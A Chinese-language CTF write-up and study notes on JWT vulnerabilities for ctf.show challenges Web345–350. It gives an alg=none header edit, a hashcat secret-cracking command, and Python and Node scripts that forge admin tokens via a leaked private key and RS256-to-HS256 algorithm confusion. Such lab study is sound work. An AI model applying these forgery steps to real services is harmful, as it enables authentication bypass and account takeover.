Jwt复习总结
JWT简介
JWT即Json Web
Token的缩写,顾名思义,是Token的一种。它常被用来在向服务器发起请求时用作身份认证。使用JWT作为身份认证的优势在于:它不需要在服务端去保留用户的认证信息。仅需要对该Token正确性进行校验即可,这就意味着基于token认证机制的应用,不需要去考虑用户在哪一台服务器登录了,为应用的扩展提供了便利。
新技术带来便利的同时也会带来新的安全问题,如果JWT本身安全存在问题,那么整个身份认证机制就会得不到保障。
JWT由三部分组成
类似于xxx.yyy.zzz,前两部分是base64编码的内容,第三部分是加密的签名部分
JWT实际上是一个字符串,由三部分构成:Header、Paylaod、Signature,各部分之间分别用Base64编码以后用.进行拼接。
Header部分主要承载两部分的信息:声明类型(JWT类型);声明加密算法,一般是RS256(非对称加密)和HS256(对称加密);
Payload部分主要包含服务器所需的信息,如
iss (issuer):签发人
exp (expiration time):过期时间
sub (subject):主题
aud (audience):受众
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):编号
Signature部分是一个签名信息,需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密。base64UrlEncode就是base64编码。
// javascript
var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);
var signature = HMACSHA256(encodedString, 'secret');
漏洞存在
Header
是否可以删除签名
是否支持修改算法为none/对称加密算法
插入错误信息
jwk元素是否可信
kid字段是否有SQL注入/命令注入/目录遍历
是否强制使用白名单上的加密算法
Signature
签名密钥是否可以爆破
检查是否强制检查
是否可以通过其他方式拿到密钥
自身存在脆弱性的算法
签名方法之间是否存在冲突
两种思路
- 爆破密钥,显然难度较大;2、尝试将加密算法置空,也就是 alg=none
Web345
Bp抓包
发现了eyj开头为jwt标志位
JSON Web Tokens - jwt.io
解码修改user为admin
再用base64加密
Web346
非法篡改
{
"alg": "HS256",
"typ": "JWT"
}
改为
{
"alg": "None",
"typ": "JWT"
}
改为
{
"iss": "admin",
"iat": 1721091476,
"exp": 1721098676,
"nbf": 1721091476,
"sub": "admin",
"jti": "4e5a0479b94b3aaaa85e807c565658f8"
}
再将两个代码用base64加密用(.)点连接起来末尾再加一个点
Web347
hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcyMTA5NDg3MSwiZXhwIjoxNzIxMTAyMDcxLCJuYmYiOjE3MjEwOTQ4NzEsInN1YiI6InVzZXIiLCJqdGkiOiJhOGExYWI5NTgzODFmYzQ1ZWZhNzVlNTc1NjE0NTRiYyJ9.JZbvfratJGlHCQ3ZWe83-03n3kQC-TK3W9UW-kk9vc8
../jwt.secrets.list
爆破出密钥:123456
Web348
GitHub - brendan-rius/c-jwt-cracker: JWT brute force cracker written in C
下载爆破工具
爆破除密钥为:aaab
拿到flag
Web349(私钥泄露)
看到js
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});
https://bb6808fe-2ad4-4c01-b9c0-e68c20ed0e2f.challenge.ctf.show/private.key
获取私钥
pip install PyJWT
pip install jwt
import jwt
public = open('D:\\桌面\\jwt总结\\private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))
获取cookie
GET部分
当用户访问主页时,服务器读取当前工作目录下的public/private.key私钥文件,使用该私钥对用户信息(这里仅为user: 'user')进行加密签名生成JWT令牌,并将这个令牌作为名为auth的cookie设置在响应中。最后返回提示信息"where is flag?"。
POST:
当用户向主页发起POST请求时,服务器首先获取客户端发送过来的请求头中的auth cookie值,然后读取public/public.key公钥文件用于解密验证JWT令牌。如果解密后得到的用户信息为admin,则返回隐藏的flag内容;否则返回提示信息"you are not admin",表示用户无权访问此标志。
Web350(公钥泄露)
在线网站:
NodeJSProject (teamcode.com)
安装环境:
npm install jsonwebtoken
上传文件
https://d2a0b9be-27f7-4c4e-86b8-c17c5e6c913c.challenge.ctf.show/public.key
编写脚本:
var jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
POST提交数据包